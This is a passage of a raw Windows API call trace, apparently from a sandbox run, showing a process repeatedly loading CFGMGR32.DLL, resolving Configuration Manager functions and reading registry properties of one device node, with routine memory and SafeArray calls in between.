returned 0x7ffb1ceee8a0 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.521] malloc (_Size=0x18) returned 0x20abc281f20 [0235.521] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0235.522] malloc (_Size=0x18) returned 0x20abc281f00 [0235.523] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281f00, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281f00, pulLength=0x2dc22fd3f8) returned 0x0 [0235.523] free (_Block=0x20abc281f00) [0235.523] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4826c125, dwHighDateTime=0x1d9eb0c)) [0235.523] SetEvent (hEvent=0x248) returned 1 [0235.528] malloc (_Size=0x18) returned 0x20abc282000 [0235.528] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0235.528] free (_Block=0x20abc282000) [0235.528] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d1f0 [0235.528] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0235.528] SafeArrayGetLBound (in: psa=0x20abbaf20e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0235.528] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0235.528] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0235.528] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0235.528] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0235.528] SafeArrayGetElemsize (psa=0x20abbaf20e0) returned 0x8 [0235.529] SafeArrayGetElement (in: psa=0x20abbaf20e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0235.529] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402060, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.530] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0235.530] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d1f0) returned 1 [0235.531] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.531] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.536] malloc (_Size=0x18) returned 0x20abc281f00 [0235.536] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0235.536] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4826c125, dwHighDateTime=0x1d9eb0c)) [0235.537] SetEvent (hEvent=0x248) returned 1 [0235.652] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.652] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.656] malloc (_Size=0x18) returned 0x20abc281fe0 [0235.656] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.660] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4839d42d, dwHighDateTime=0x1d9eb0c)) [0235.661] SetEvent (hEvent=0x248) returned 1 [0235.665] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.665] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.669] malloc (_Size=0x18) returned 0x20abc281e20 [0235.670] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.670] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x483c3b15, dwHighDateTime=0x1d9eb0c)) [0235.670] SetEvent (hEvent=0x248) returned 1 [0235.675] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.680] malloc (_Size=0x18) returned 0x20abc2819a0 [0235.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.681] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x483e9b74, dwHighDateTime=0x1d9eb0c)) [0235.682] SetEvent (hEvent=0x248) returned 1 [0235.686] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.686] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.690] malloc (_Size=0x18) returned 0x20abc282020 [0235.691] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.691] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x483e9b74, dwHighDateTime=0x1d9eb0c)) [0235.691] SetEvent (hEvent=0x248) returned 1 [0235.699] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.699] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.703] malloc (_Size=0x18) returned 0x20abc281a80 [0235.703] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.706] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x484117c7, dwHighDateTime=0x1d9eb0c)) [0235.707] SetEvent (hEvent=0x248) returned 1 [0235.793] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 